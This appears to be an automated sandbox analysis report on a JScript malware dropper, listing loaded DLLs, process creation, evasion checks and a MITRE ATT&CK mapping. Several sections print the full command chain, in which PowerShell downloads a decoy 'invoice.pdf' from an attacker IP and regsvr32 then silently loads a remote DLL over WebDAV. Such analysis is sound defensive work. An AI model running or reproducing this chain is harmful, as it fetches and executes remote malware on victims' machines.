Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7945.js.csv");ITextStream.WriteLine(" entry:8760 f:fmeoz");ITextStream.WriteLine(" exec:2 f:fmeoz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4244			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5623			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6472	Thread sleep count: 4244 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4924	Thread sleep count: 5623 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3508	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2528	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3700	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2198739039.000001B96A077000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: net.exe, 00000007.00000002.2198739039.000001B96A077000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2198739039.000001B96A018000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3422022904.000001FC8E259000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3420190159.000001FC88A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
